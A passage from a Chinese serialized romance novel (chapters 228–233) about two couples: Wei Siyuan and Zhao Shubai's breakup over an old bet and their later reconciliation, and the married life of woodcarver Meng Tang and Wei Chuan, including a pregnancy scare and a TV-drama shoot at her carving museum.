魏思沅一只脚都踏进去了,又猛地缩了回去。 “怎么不进去?”江映从后面推了她一把,“不像你性格啊。” “对不起啊!”魏思沅转头对江映说,“今天不能陪你逛了,我现在想回去。” “行,我送你回去。” 魏思沅有些恍惚,江映哪里还有心情逛。 将她送回了家,她想一直陪着,魏思沅说:“赵疏白说一个小时就回来的,时间差不多了,你先走吧。” “你一个人真的行?” “行的。” 江映犹豫了片刻,还是走了,正巧在楼下遇到了赵疏白。 赵疏白明显一愣:“你怎么在这儿?” 江映说:“经过这里,顺道上去约沅沅出去玩,她说你一会儿就回来,没答应我。” 赵疏白点了点头。 “那我先走了。” “好。” 两人错身之际,江映给魏思沅发了条信息:【楼下看到赵疏白了,他和林亦姗可能有事说,你冷静点,不要吵架。】 魏思沅一边苦笑一边给她回了个“好”。 她大概能猜到林亦姗和赵疏白说了什么。 昨晚刚想开,今天猝不及防就要面对她本想一直瞒着的事情。 她不是没想过跟赵疏白说,但总觉得要再等等,等到她和赵疏白的感情更深厚为止。 玄关传来动静,是赵疏白回来了。 魏思沅没迎接出去,反倒又往沙发里靠了靠。 赵疏白来到客厅坐下,随口问了句:“江映来约你,你怎么没出去?” 魏思沅扯了下嘴角,想说什么,可说来说去都是谎话。 片刻的沉默后,她眨了眨眼:“约了,只不过又回来了。” 赵疏白顿了下,偏头看向魏思沅:“怎么回来了?” “因为看到你跟林亦姗了。” “……当时怎么没上去?”沉默了五秒后,赵疏白问魏思沅。 按照她的性格,不可能不跟上去。 魏思沅下意识抿了抿:“她跟你说了什么?” 赵疏白说:“我问了一些事情,关于你的事情,准确来说,是我们两个的事情。” 魏思沅吊着的心猛地落下来,他果然知道了。 “所以你去找林亦姗求证?”魏思沅隐隐有些动气。 赵疏白不懂她为什么生气,这件事情明明是她做错了,不由得也冷下了脸: “你瞒了我三年,我问你的话,你会如实告诉我吗?” “所以你就去找林亦姗?”魏思沅激动地反驳,“你不知道我跟她不对付吗?你想问就问我,为什么不跟我说?是不是林亦姗说什么你都相信?” “我只是去问一个事实,赌约是你俩定下来的,我听一听另一位当事人的说辞也不为过吧?” 他不过是想听一听林亦姗怎么说,想要给魏思沅找一个借口罢了。 魏思沅笑了声:“你是认定我不可能跟你说实话吧,毕竟我瞒了你三年,所以你才去找林亦姗。” “因为在你眼中,我跟林亦姗的矛盾就是小孩子过家家,我俩表面上也没撕破脸皮,她虽然总是针对我,但敢作敢当,只要你问了,她一定会说的。” “前提是那个人是你,你知道她喜欢你,对吗?” 赵疏白蹙眉:“可我不喜欢她,我喜欢的是你,你到底要我说多少遍?” “不用说了。”魏思沅冷笑,“以后都不用说了。” 她发现,赵疏白好像从来没有弄懂过她和林亦姗之间的矛盾。 或许是觉得掺和两个女生的事情不好,但她明确说过不喜欢林亦姗的情况下,这件事难道不应该先向她求证吗? 他怎么保证林亦姗不会说她的坏话?不会挑拨两人的关系? 还是说,他就那么相信林亦姗的敢作敢当呢? 魏思沅可悲地发现:赵疏白在主观上相信林亦姗胜过自己。 既然这样,这恋爱谈着还有什么意思? 在一起好几年,每次都因为林亦姗吵架,她真的受够了。 “你什么意思?”赵疏白沉下脸色。 “对不起,我当初不应该跟林亦姗打赌。”魏思沅说,“那时候我已经知道你喜欢我俩,还是利用了你,这件事,我无可辩驳。” “你说什么?”赵疏白眉心一蹙,“你在打赌的时候,已经知道我喜欢你了?” 魏思沅脸色沉重地点了点头。 赵疏白一把扯住她的手腕:“魏思沅,你到底有没有心?你明知道我喜欢你了,还想着去打赌?所以呢?后来如果没有喜欢我,直接甩了我是吗?” “所以我现在给你一个甩我的机会。” 赵疏白气得捶了下沙发背:“魏思沅!” 魏思沅死死咬着唇,没有吱声。 怒火跳跃在胸膛,赵疏白生怕两人没有理智地继续吵下去,起身出了家门。 这一夜,他没有回去。 等第二天回去的时候,魏思沅已经消失了,连同着她所有的衣物和物品。 赵疏白愣了足足十来分钟,才想起来要给魏思沅打电话。 刚拨出去他又挂了,昨晚两人没有说分手。 要是这通电话打了过去,会不会就分手了? 赵疏白还没冷静太久,手机接到了一通老师的电话,有个节目需要去采风,简单点就是实践教学。 出去转一转也是好的,等他这个节目拍完,再回来和魏思沅好好谈一谈。 当晚,赵疏白和老师的团队一起抵达了雁清,一座工艺兴盛的城市。 因为节目是有主题的,他和老师两人去了当地的非遗馆,找到了孟遇春。 为了省事,他直接花钱在隔壁住下了。 第229章 魏思沅赵疏白(6) 赵疏白一大早敲了隔壁大宅的门,开门的并不是昨日的中年妇人,而是水灵灵一少女。 “呃……”赵疏白一愣,“你是……” 孟棠微微蹙眉,声音有点冷,抓着门的手带着防备:“是你在敲门。” “哦,不好意思,我叫赵疏白,前两天刚过来,暂时住隔壁,今天我跟老爷子约好了。” “我叫孟棠。”孟棠让开位置,“尽力吧,爷爷跟我说过你。” “你就是老爷子的孙女?你放假了是吧?”赵疏白尽量找话题,“你在哪儿上学啊?” “z大。” “好巧啊,我有个弟弟也在那儿上学,不过是体院的。”赵疏白跟她进去,“不过体院和美院合并了吧?” “嗯,现在叫艺体校区。” 赵疏白点了点头:“你是美院的吧?我那弟弟打篮球的,不知道你听过没有?” 魏川还是挺出名的,一个学校的应该都听过。 孟棠满脑子都是今天上午要雕刻的观音玉净瓶上的微型缠枝莲纹,自动忽略了赵疏白的话。 见到老爷子,她手一指:“我爷爷在那儿。” 说完,径自去了北院。 “嘿。”孟遇春叫了赵疏白,“你过来。” 赵疏白走过去,在老爷子面前的小凳子上坐下,说:“您考虑好没有?这样也能更好的宣传黄杨木雕?” 孟遇春微微颔首:“可以,但你们要保证不能压我这屋里的一草一木,后院我让你们去你们才能去,库房可以拍,但不能碰,我上镜,我那孙女就算了。” “行,我待会儿就让我师父过来。” 老爷子手里把玩着一串木珠,赵疏白眸光一转:“您能雕刻小像吗?” 孟遇春抬眸瞥他:“给你心上人的?” 赵疏白点了点头:“吵架了,拿回去哄一哄。” 孟遇春说:“出门右拐走到底,再往北就是非遗馆,集市上多的是。” 小像还值得他出手? “您不能吗?”赵疏白不太了解木雕,但他来的第一天,跟着老师拜访了孟家,看到了孟遇春正在雕刻八仙过海,一时被震住了。 孟遇春笑了:“你还真会大材小用,就是我那孙女,你都请不动。” 赵疏白汗颜,把人家想简单了。 他在雁清待了两个多月,回去的时候已经彻底冷静了下来。 回z市的时候,特地给魏思沅带了很多的礼物,却没想到,魏思沅进组了。 深山老林,人都联系不上。 就在他想要去找魏思沅时,网上突然爆出她和一位男演员的恋情。 赵疏白气得捶方向盘,当即开车去了机场。 经历了长达四个小时的飞行,两个小时的转车,他终于抵达了剧组。 奈何外人进不去,赵疏白只能等在外围,还被误认为是女主的粉丝。 一旁一同蹲守的女生你推我搡地看着他,小声嘀咕:“我们真真男粉一向多,没想到还有这么帅的。” 赵疏白瞥过去冷淡的一眼:“我是魏思沅的粉丝。” “啥?魏思沅是谁?” “是不是程允啊?她本名好像姓魏。” “就是给我们真真做配的小反派?” “好像是。” 赵疏白想说什么,又忍住了,万一给魏思沅带来什么不好的影响就完了。 可惜等了一晚上,魏思沅也没出来。 这剧组保密功夫都到家,魏思沅一个小配角,住的是剧组安排的酒店。 赵疏白只能回去,好不容易打通了魏思沅的号码。 魏思沅看到来电时一愣,她还以为赵疏白已经把她删了。 岂料电话刚接通,赵疏白冷漠的质问透过无线电波灌进她的耳中: “魏思沅,你真是好样的,两个月而已,恋情都曝光了?” 魏思沅觉得好笑,所以他信了? 接到电话的欣喜荡然无存,魏思沅故意唱反调:“怎么了?打电话来祝福我的?” “魏思沅!” “你喊什么?”魏思沅心里也憋屈,明明消失了两个月的人是他。 已经默认分手了,为什么还要打电话过来? 赵疏白沉默半晌,说:“你跟那个男明星到底怎么回事?” “不关你事。”魏思沅嘴硬。 赵疏白还要说什么,魏思沅的房门有人敲响,听声音有男有女。 是女一的演员在为难人,大半夜的又将这些做配的叫去了片场。 魏思沅蹙了蹙眉心,但也没说什么,只是挂了赵疏白的电话。 赵疏白以为其中的男声就是和魏思沅传绯闻的,当即跑去了魏思沅的酒店拦人。 巧的是,他们在楼下碰面。 赵疏白想要把魏思沅带走,却被工作人员阻拦。 好死不死,魏思沅的绯闻男友跑过来让他们赶紧去片场,说导演发火了。 魏思沅不想耽误其他人的工作,虽然震惊赵疏白来找她了,但也只能忽略赵疏白。 事情就是那么巧合,赵疏白在雁清负责的一组图过不了审,当即赶了回去。 至此,两人的误会越来越深,几番纠缠试探,最终分了手,谁也没能有勇气上前一步。 分手的两年里,魏思沅总有恋情传出,但最后都不了了之。 赵疏白这两年没有待在z市,又在雁清待了一段时间后,转头去了别的地方。 两年后,赵行衍让他回去继承家业,他直接答应了。 没想到回z市的第一天就遇到了江映,得知了魏思沅的一些近况,以及她那些乱七八糟的恋情没一个是真的。 赵疏白比两年前内敛了许多,尤其是进了公司后,做事更是成熟了不少。 都在同一个城市,两家关系又好,遇见魏思沅是再正常不过的事。 几番拉扯试探,两人旧情复燃,甜甜蜜蜜了好几年。 两人被家长逼婚逼到没办法,决定年底结婚,搬家的时候,魏思沅看到了一座木雕小像。 她看着有些眼熟,当即拿了小像回了魏家。 到家时,她那早婚的弟弟和弟媳正在客厅秀恩爱。 她简直没眼看,过去一把扯开了魏川,将木雕小像怼到孟棠眼前:“你帮我看看这是什么?” 孟棠拿过去,挑了下眉:“我雕的。” “什么?”魏思沅和魏思沅异口同声,又十分惊讶地看着孟棠,“你雕的?” 孟棠失笑,对魏思沅说:“你终于发现了。” “不是,你为什么不说啊?”魏思沅简直服了。 孟棠十分无辜:“我怎么说?这是小白哥给你的礼物,我一直没见你炫耀,就知道他藏着呢。” “当年他明明回了z市,转头没过多久又回来了,求我雕刻了这个。” 怪不得当初第一眼,她看魏川的眉眼有些眼熟,原来雕过魏思沅的小像。 魏思沅大骂:“这傻逼,真他妈能藏。” 魏川见她气势汹汹去找赵疏白,笑着搂住孟棠:“我真同情赵疏白,还是我老婆温柔。” 孟棠笑着白他一眼:“我明天回雁清,你怎么说?” 魏川抱住他:“我当然跟你一起了。” “三姐的剧要在我木雕馆里拍摄,人太多,你去干什么?” “你还在里面客串了,我必然要去的。” 第230章 婚后(1) 魏思沅前些年凭借一部悬疑网剧的女配有所出彩,有了点知名度。 趁着热度,经纪人给她撕到了一部网剧的女主角,是个小说改编的本子,里面涉及木雕非遗。 魏思沅当即就接了,感觉这部剧就是为了自己量身打造的,毕竟她有超强金手指——孟棠。 至于孟棠客串的事,自然是剧组的想法,魏思沅去实现的。 魏思沅拍了那么多年的戏,这个剧组是她待的最舒服,氛围最好的一个剧组。 这是一个年轻的班底,导演不出名,演员也不出名,其他人更是叫不上名字。 这部剧很纯爱,也有个特殊的点,男一号饰演的角色是盲人,魏思沅负责治愈他。 翌日,孟棠和魏川赶回了雁清。 他们结婚后就住在老宅,老爷子现在基本不接活了,年轻时候太遭罪,到老各种毛病,从肺到手、再到腰,没一处好的。 魏川给他安排了专门的医生,多重保养下,这几年身体倒也还好。 不过一有点小毛病,孟棠和魏川就异常紧张,还把老爷子惹上火了。 魏川揽住孟棠拍了拍:“以后老头的事情我来管吧,省得你因为着急跟他呛,你说你俩也真是的,年纪越大越能吵吵了。” 孟棠一噎:“谁年纪大?” 魏川熟练地拍了下自己的嘴:“我,我年纪大。” 孟棠白了他一眼:“没事做就去后院劈木柴吧。” “……” 结婚几年了,一生气就让他劈木柴。 魏川已经习惯了,十分熟练地去了后院。 方姐看得想笑,几年了,两人感情还是那么腻歪,她目光不自觉落到孟棠的肚子上。 两人之前提了一嘴备孕的事,半年过去了,毫无动静。 她虽然在孟家这么些年,毕竟不是孟棠亲妈,人家婆婆还没问,她更是不好插嘴。 只是想着趁自己胳膊腿还行,帮着孟棠带带孩子。 孟遇春给方姐使了个眼色:“你去问问。” 方姐一愣:“为什么?” 孟遇春“啧”了声:“还能问什么,孩子的事。” 方姐:“……我也不好问啊,要不您自己去问?” 刚跟孟棠闹了别扭,他才不去,老爷子头一扭,哼了声。 方姐无奈了:“行,我待会儿探个口风。” 老爷子这才满意。 孟棠回了房间休息,她前脚进了屋,方姐后脚就跟进来了,看到孟棠已经睡着了,一时有些懵:“这么快?” 是不是最近太累了?明天还得去拍什么电视剧。 “我去给她炖个汤吧。”方姐嘀咕了句,出门了。 魏川劈了柴,去厨房找方姐要喝的,见她在炖汤,顺嘴问了句:“炖的什么?” “孟棠这段时间是不是累着了?”方姐答非所问。 “没有啊。”魏川疑惑地看着方姐,“这几天我们不都在z市嘛,家里阿姨和我每天都伺候着,怎么会累?” “那是奇怪了,刚才进了卧室就睡着了,我以为她累了,给她炖个汤。” 魏川一听,水也不喝了,赶紧回卧室去看孟棠。 走到一半,发现自己身上脏得很,又转去浴室冲了把澡,换了衣服。 九月的天气还热着,进了屋一片凉爽。 魏川去了卧室,将孟棠还在睡,看了眼时间,一个小时了。 他在孟棠旁边躺下,拍了拍她的肩膀:“孟棠?不能再睡了,要头疼了。” 孟棠蹙着眉心,躲开他的手,埋进他的颈窝。 温热的呼吸喷在脖颈,魏川僵了下身体,呼吸变得粗重。 他一向经不起孟棠任何的撩拨。 “真的不能睡了?”魏川掌心揉了揉她的脸,“方姐给你炖了汤,起来喝点?” 孟棠已经醒了,只是眼睛有点睁不开。 她蹭了蹭魏川的心口,嘀咕:“再等五分钟。” 魏川真就掐着表等她,五分钟一到,立刻起身将人抱进怀中,坐着晃来晃去。 “等一下,唔……别晃。”孟棠一阵头晕,声音都虚弱了几分。 魏川捧住她的脸,稍稍拉开两人之间的距离,温柔地问:“怎么了?” 孟棠拍了下心口,眉心始终蹙着,她感觉只要一张口就能吐出来。 她需要外面的新鲜空气。 孟棠推开魏川,趿着拖鞋开了门,魏川始终跟在她身后,见她一言不发,急得语速快了几倍:“到底怎么了?怎么感觉你不太舒服?还是睡太久头疼了?我给你揉一揉?” “你别说了。”孟棠烦躁地打断他的话,魏川一怔,平时他俩打闹有来有往,也没见孟棠这么烦他的神情。 身边没了声音,孟棠也意识到自己的语气不太好,下意识看向魏川。 院中一时寂静,方姐从厨房出来,没意识到两人之间的暗流涌动,喊了声孟棠:“给你炖了汤,和小魏一起过来喝点。” 方姐给了台阶,孟棠没什么犹豫,转头去了厨房。 魏川虽然也跟着,但没跟她说话。 岂料刚进厨房,排骨香味冲天,孟棠却猛地捂住了嘴,转头干呕起来。 方姐和魏川同时吓一大跳,尤其是魏川,一把从身后捞住她的腰,紧张兮兮地问:“怎么了?” “不会有了吧?”方姐一拍大腿,眼睛瞪得溜圆。 “有什么啊?”魏川一脸懵。 孟棠一愣,她大姨妈好像推迟了一个礼拜。 “快。”孟棠也不淡定了,一把抓住孟棠的手臂,“带我去裁缝店隔壁的老中医那儿把个脉。” “对对对……”方姐差点语无伦次,推了一把魏川,“赶紧带她去,看看是不是喜脉。” “哈?”魏川懵了,“喜、喜脉?” 两条街外的老中医他当然知道,附近不少人都去他那儿看病,魏川也去过,效果还是不错的。 孟棠见他不中用,自己拿了包和手机就往外走。 “祖宗!”魏川大吼一声追了过去。 孟棠还没出院门,被魏川一把打横抱了起来。 方姐见他抱着孟棠跑,赶紧追上去:“小魏,你才是祖宗,赶紧把她放下来。” 摔倒了可怎么是好。 路过一个巷口,孟遇春正好从棋场出来,见到方姐,赶紧把人拦了下来:“怎么回事?” 方姐喘着指了指远处:“小棠好像有了。” 孟遇春一愣:“有了?孩子?” 方姐点了点头。 “走走走。” 孟遇春一急,也追了上去。 两个小的在前面跑,两个老的在后面追。 魏川的耳朵已经完全听不进任何的事,包括孟棠让他放下自己的话。 一路风风火火跑到老中医的诊所,魏川不知道说什么,只知道喊救命。 附近五公里的基本都认识他,老孟家的上门孙女婿嘛,人长得好不说,性格也好。 附近有谁家需要帮忙了,叫一声就走。 所以一见到他抱着孟棠吓得脸色惨白的样子,赶紧给他让了道。 孟棠最后被架在桌前,只能在老中医的示意下伸了手。 魏川蹲在桌旁,眼睛直勾勾盯着老中医把脉,半晌,老中医问了一些问题,孟棠一一作答。 老中医说:“没什么大事,贪凉了,寒邪犯胃,注意保暖,饮食上也要注意……” 老中医说了一大堆,魏川一句没听进,扒着桌子问:“不是有了?” 老中医斜他一眼:“身体还是不错的,不要着急。” 魏川和孟棠出了诊所,尴尬地对视了一眼。 孟遇春和方姐终于追了上来,问:“怎么样啊?几个月了?” “呃……”魏川尬笑一声,“什么都没有,贪凉吃坏了肠胃。” “啊?”孟遇春不想相信。 孟棠笑了下,转头走了,太尴尬了,乌龙啊。 第231章 婚后(2) 孟棠回到家,坐在院子里有些发懵,她刚才是真的以为怀上了。 听到老中医说不是的时候,心里还挺失落。 魏川在她旁边也有些手足无措,他是孟棠最亲近的人,对她的情绪把控一向很准。 他干咳了声:“那什么……你别伤心,是我不中用。” 孟棠白了他一眼:“给我倒点水。” “好。”魏川赶紧应了声,随后给她倒了杯水。 方姐和孟遇春气喘吁吁跑到家,四个人站在院里大眼瞪小眼。 孟遇春“嗐”了声:“吓我一跳,还以为你怎么了,这么大人了还贪凉。” 魏川低气压一闪而过,昨天在z市的家里,她和魏思沅两个人吃了半桶冰淇淋。 他拿出手机给魏思沅发了个“害人不浅”“走你”的表情包,搞得魏思沅莫名其妙的,想不通又哪里得罪他了。 明天孟棠的私人木雕馆先拍孟棠客串和男一号初来乍到的戏份,魏思沅要后天才能到雁清,到时候再跟她算账。 孟棠不太舒服,一整天都有些蔫蔫的。 魏川将她抱在怀里,小声问:“要不明天跟剧组说一声不拍了?” “别闹。”孟棠拍了下他的手臂,“你知道你一句话要让别人浪费多少时间和精力吗?签了合同的事,怎么能说反悔就反悔?” “我不是关心你身体嘛。”魏川实在委屈。 孟棠叹了声气:“怎么都出馊主意呢?你别说了,我躺一会儿好吗?” 魏川笑了声,在她脸上亲了下:“我还能说不好吗?” 他将孟棠往上托了托,掌心贴着她的胃部,给她揉了揉。 孟棠勾了勾唇,她胃也不疼,不过这样也挺舒服的。 最后方姐炖的汤全都进了魏川的肚子。 翌日三点,魏川叫醒了孟棠。 今天拍摄很重要,魏川可不敢再让她赖床,只能一把将人兜起来,抱进了卫生间。 平日里他肯定不敢,这会儿天还早,老爷子和方姐还在睡,魏川就有点肆无忌惮了。 孟棠推了他要抱过来的手:“去把鸡蛋煮一下,把昨晚的包子也热一下,再拿两瓶牛奶。” “好嘞。” 这会儿早餐店还没出摊,魏川换了衣服往厨房跑,哪想方姐已经起来了。 魏川哭笑不得:“不是让您多睡会儿的吗?” “睡不着。”方姐指了指摆在厨房里的小餐桌,“赶紧叫孟棠过来吃饭。” 话音刚落,孟棠到了门口。 魏川拉着她坐下。 方姐解开围裙,说:“我现在没胃口,你俩先吃,我去补觉,吃完就放在这儿。” “好。”孟棠应了声,“您赶紧去睡吧。” 魏川将蒸山药给孟棠推过去:“吃点这个,方姐还蒸了蛋,我给你淋点酱油。” “好,一点点就行。” 两人快速吃了个早餐,赶往了孟棠的私人木雕馆。 这个馆的建立离不开魏立峰的帮忙,是结合了体育特色的私人艺术馆,就以孟棠的名字命名的。 魏川年初的时候因伤退役了,现在凭借家里和这些年积攒下来的人脉资源进行多元化的投资和体育公益事业。 他有团队给他做事,闲下来后,整日缠着孟棠,弥补结婚几年的聚少离多。 人真的需要爱和陪伴滋养,以前魏川不在时,孟棠肉眼可见的清冷,后来魏川来了雁清,她像换了个人,柔和到没有一点棱角。 两人的感情好,两方家长都很满意。 只是结婚几年了,楚茵和魏立峰对于孩子的事情也不是没想过,只是每次都被魏川的话堵了回去。 他跟孟棠聚少离多,好不容易有了二人世界,还非得造个人出来凑数。 但半年前,孟棠自己主动提及了这件事。 魏川自然都以她的意见为主,更何况,两人年纪也摆了上去。 到了木雕馆,剧组基本已经到位了,孟棠这里有专门接待剧组的人。 在木雕馆的拍摄大概三天左右,之后会转移到他们搭建的场景中去拍,毕竟孟棠这里还得接待访客。 到了馆内,剧组的工作人员客气地问了好,迎面而来一个身高188左右的温尔尔雅的男人,对孟棠笑了下:“你好,我是褚瑞,邵飞扬的扮演者。” 男一号,当明星的果然不是一般人,真人比电视上看着帅多了。 孟棠微微颔首:“孟棠。” 褚瑞的目光偏到魏川那儿:“这位是……” “我丈夫,魏川。”孟棠波澜不惊道。 褚瑞一愣,这么年轻,都结婚了? “啊……”褚瑞有点尴尬,“思沅没跟我说你们的关系。” 组里也没人跟他说魏思沅和魏川的关系。 本来他就对木雕馆的主人很好奇,看到了组里的照片后更是好奇,唯一没想到的是人家结婚了。 孟棠失笑,这样的情况只有一种可能,就是剧组和魏思沅互相以为他们告诉了褚瑞。 孟棠笑了笑:“没关系,我只是一个客串。” 魏川保持最基本的礼貌,冲褚瑞颔首,倒没什么客气话,他抬手对馆内的工作人员招了招手: “愣着干什么?赶紧搬张椅子过来。” 那人看褚瑞看呆了,被这么一吼,一个激灵跑进大厅搬椅子去了。 孟棠抓住魏川的胳膊,觉得好笑:“凶什么?” 褚瑞好奇地观察着这夫妻俩,看起来感情不错,孟棠进来后的第一个笑就是为了魏川。 没过几分钟,导演走了过来。 孟棠客串的一段戏,他需要给她讲解一下,毕竟没拍过,又是真人饰演真人。 剧中为了宣扬黄杨木雕,用的是孟棠的真实身份。 导演对孟棠说:“你在剧中饰演沅沅的师姐,性格是很冷淡的,就比你平常样子再冷淡几分就行。” “台词也不是很多,你角色的作用就在于让男女主在你的艺术馆里相遇……” 导演说了一堆,孟棠都耐心地听着,魏川也陪在一旁,惹得剧组其他人时不时就把目光落在两人身上。 他们这些跟组的,见过明星一大堆,听说孟棠和魏川是纯素人,其实是有些惊讶的。 因为这俩的颜值跟明星比一点不差,魏川还有身高上的优越性,身材比例也特别好。 孟棠更不必说了,满身的文化气息都让人不敢上前攀谈,生怕说了什么惹人笑话的事。 导演讲过戏之后,就得现场走戏,演员对词,所有人全都移到了木雕馆的门口。 褚瑞是科班出身,打小就拍戏,他看出孟棠的不自在,主动上前调节气氛,告诉她应该怎么做。 这场戏,孟棠是要在木雕馆的门口,打着伞,看到刚刚成为盲人的邵飞扬有心死的迹象,动了恻隐之心,让人进来避雨。 孟棠在廊下是淋不着雨的,而且还打着伞,这让魏川松了口气。 万一冻着了,他怕对孟棠的身体不太好。 魏川始终陪在孟棠身侧,站在摄像机拍不到的角落里看着她。 还没正式开拍,戏一对就是几个小时,站得人都麻了。 直至导演说正式走一遍拍一遍,魏川才将不满压了回去。 今天天气挺配合的,是阴天,剧组洒个水就能成雨,褚瑞不愧是专业演员,将一个刚瞎了的人演得入木三分。 孟棠第一遍看愣了,一时没有接上词,只能抱歉地再来一遍。 褚瑞脾气很好,对孟棠只是笑了笑,表示没关系。 越是这样,孟棠压力越大,好在第二遍接上词了,整体下来也挺顺的,但导演卡了没让过。 他踏上台阶,刚要说话,魏川人高马大往旁边一堵。 “……”导演转头朝魏川看了眼,对孟棠轻声软语道:“你的眼神有点不太对,你这个人物是比较冷的,但你因为没接上词,对邵飞扬是愧疚的,情绪不对,再来一遍?” “不好意思。”孟棠再次道歉,“再来一遍。” 导演点了点头:“不用紧张,走戏的时候挺好的,你就保持你平时的状态,正常说词就好。” “嗯。” 魏川拍了拍孟棠的肩:“加油。” 说完,他又退到角落里,拿出手机,无聊地蹲下去,给自家老婆录视频。 毕竟是第一次拍戏,新鲜感还是有的。 第三遍正式拍摄明显进了状态,邵飞扬因为眼睛看不到,摔倒在台阶前,吓到了出门的孟棠。 孟棠蹲下身为他遮雨,魏川在屏幕后哼了声。 导演总觉得后脖颈一凉,但镜头里的两人已经对词了,他没空理会别的。 这次台词说的很顺畅,也跟褚瑞的演技有很大关系,孟棠看着他的表演,一下就能代入进去。 “卡!”导演露了笑脸,“很好啊,接着转下一场。” 褚瑞对孟棠笑了笑:“辛苦了。” 孟棠摇摇头:“你辛苦了,不好意思,害你淋三遍雨。” 褚瑞的助理立刻给他披了毛巾。 魏川走过来,握住孟棠的肩膀上下摩挲:“沾了点湿气,手臂都是凉的。” “没事。”孟棠也没那么矫情,“你别总是打扰我,赶紧拍完,我还有正事要做。” “魏思沅明天才来,你跟她还有一场戏呢。”魏川嘀咕了句。 “所以今天不能掉链子。”孟棠说。 进去还有一场安排邵飞扬住下的戏,一个镜头的事。 第232章 婚后(3) 屋里的一场戏很简单,孟棠一遍过了。 正好中午放饭,魏川没吃剧组的盒饭,带着孟棠回了老宅。 孟棠中午一般不回,但魏川当着众人的面提出来,她也就没吱声,总不能当着众人的面驳了他的面子。 刚出木雕馆,她就问魏川:“为什么回去吃饭?” “剧组能有什么好饭吃。”魏川理直气壮,“你这两天肠胃不舒服,回去吃方姐做的,放心一点。” 也行,孟棠点了点头,木雕馆现在被剧组“霸占”,午休估计也够呛。 魏思沅是第二天凌晨五点左右到的雁清,身边只跟着助理和赵疏白。 孟棠今天最后一场和魏思沅的对戏,是下午场,但魏思沅来了,她和魏川还是赶过去慰问了一番。 却见魏思沅脸色难看,除了拍戏,一直心不在焉。 魏川抵了抵赵疏白:“你惹她了?” 赵疏白看向魏川,欲言又止。 魏川心中一沉,有种不祥的预感。 赵疏白揽住他肩膀:“咱俩过去说。” 孟棠觉得奇怪,但魏思沅的状态不太好,她得陪着。 退到无人处时,魏川扯开赵疏白的手腕,问:“到底怎么了?” 赵疏白叹了声气:“老太太身体不行了,昨晚送医院了。” 魏川一愣:“……我来的时候不还好好的吗?” “年纪大了。”赵疏白拍了拍他的肩,“医生说,年关难过。” 还有不到半年的时间,魏川一时有些接受不了。 他知道老太太年纪大了,每次想到这个问题总会可以规避。 “听家里的意思,是想让你和孟棠下半年去z市待着。” 魏川点了点头:“先别跟孟棠说,等她拍完下午的戏,我再跟她商量商量,你先进去吧,我去打个电话。” 赵疏白转头回了木雕馆。 孟棠没见魏川,看了眼赵疏白:“他人呢?” “接了个家里的电话。”赵疏白应了一句,岔开话题,“沅沅呢?” 孟棠指了指卫生间。 工作人员在喊主演就位了,魏思沅从卫生间出来后,和褚瑞开始对戏。 孟棠待了会儿,没忍住去找了魏川。 正巧在大门口遇见了魏川,她走过去,随口问:“家里的电话?妈打来的?” “不是。”魏川搂住孟棠,“里面拍了?中午回去吃吗?” 孟棠说:“不了吧,三姐他们都在这儿,去附近的餐厅订个包间。” “也行,顺道把剧组的饭也包了吧。” 在木雕馆做事的剧组人员不算多,当初协商拍摄的时候,孟棠就要求只能相关人员在这里,免得破坏她的物件。 连着组里的人,大厅四桌完全够了。 拍完下午这场,明天还有最后一场,剧组就收了。 下午拍完,魏川给了魏思沅一个眼色,魏思沅点了点头,示意他俩先走。 回去的路上,魏川对孟棠说:“明天去z市吧,下半年我们去z市待着,我看老爷子身体稳得很,木雕馆暂且交给他。” 魏川不会无缘无故突然说这个话,孟棠脚步一顿,问:“怎么了?家里出事了?” “老太太……”魏川的情绪有点低落,“年纪大了,也做过两场手术,医生说可能熬不到过年。” 孟棠握住他的手:“那就回去。” 老太太的事要紧,孟遇春怎么可能不放人。 第二天下午,孟棠和魏川回了z市。 老太太自己心里也有数,不过倒是挺乐观的,只是目光时不时放在孟棠的肚子上。 老人家嘴上不说,但孟棠看得出来,是想要曾孙了。 孟棠心里其实也急,但这种事,是急不来的。 楚茵看出她有点焦虑,将魏川拉到一旁教训了一顿。 魏川一脸无辜:“我什么也没干。” 楚茵“啧”了声:“就是因为你什么也没干,才需要去干点什么,你奶奶盼着重孙子,你不能整天让孟棠往她跟前凑。” “小川,我知道你愧疚很少有时间能陪着你奶奶,但生病的人能量很低,她还盼着你和孟棠给她生个重孙子,你觉得孟棠的压力大不大?” 孟棠猛地一愣,这段时间,他光顾着哄老太太,将自己和孟棠的情绪一压再压,要不是楚茵挑明,他只怕还得继续犯错。 “明天带孟棠出去转转,你俩也没避孕了,还没怀上跟情绪也有很大的关系。” “知道了。”魏川有点自责,“妈,我今晚带孟棠去康铂,晚饭不在家吃了。” 楚茵挥了挥手:“赶紧走,我也去跟你奶奶聊聊。” “辛苦了,妈。” 楚茵白了他一眼:“谁让我是你妈。” 楚茵的性格有个最典型的点就是爱屋及乌,赵疏白和孟棠对此深有感触。 两人偶尔聚在一起总会聊到楚茵。 魏川在露台找到了孟棠,她在躺椅上睡着了。 魏川在她身边蹲下,用食指的指背蹭了蹭孟棠。 孟棠睡得很浅,她迷迷糊糊睁开眼睛,对魏川笑了笑。 魏川倾身在她眉心落下一吻:“起来吧,今晚带你去康铂。” “康铂?”孟棠一愣,“怎么要去那儿?” 毕业后,两人去康铂的次数屈指可数,要不是里边有点两人的回忆,魏川能把康铂给忘了。 “整天待在家里也闷得慌,出去溜几天,明天约了许鹤清,不过他公司有点忙,我们去他公司找他,谢泠音也在。” 这两人前年也领证了,不过婚礼还没办,忙得没空。 孟棠一听,立刻起身看着魏川:“真的可以去见泠音啊?” “我还能骗你?”魏川失笑,“真的约好了。” 孟棠又问:“那晚饭还在家里吃吗?” “不了,”魏川拉她起来,“咱俩去吃大餐。” 孟棠任由他拉着起身,魏川故意使坏,加大了力道,让孟棠站不稳,跌进了自己怀里。 孟棠对着他胸口就是一拳:“结婚几年还没长进,幼稚。” “你不就喜欢我的幼稚。”魏川得意道,“别以为我不知道。” 孟棠推开他:“走不走?” “走。” 第233章 婚后(4) 孟棠下了楼,和楚茵打了声招呼:“妈,我跟魏川先走了。” “好。”楚茵将他俩送到门口,“在外面多待几天,你奶奶那边我天天都过去,你俩天天去,她都有压力了。” 孟棠狐疑地看向楚茵:“奶奶说的?” “她怎么好意思说。”楚茵笑了笑,“毕竟都是一片孝心,只能我来给你说了。” 孟棠多聪明,一点就透,她朝楚茵温软地笑了下:“谢谢妈。” “去吧。”楚茵摆了摆手。 孟棠跟着魏川出了家门,坐上副驾的时候突然轻笑了声,随即沉默了两三秒,说: “妈真的很好,对我也好。” 魏川启动车辆,握了握她的手:“你是她儿媳妇,她不对你好对谁好?” 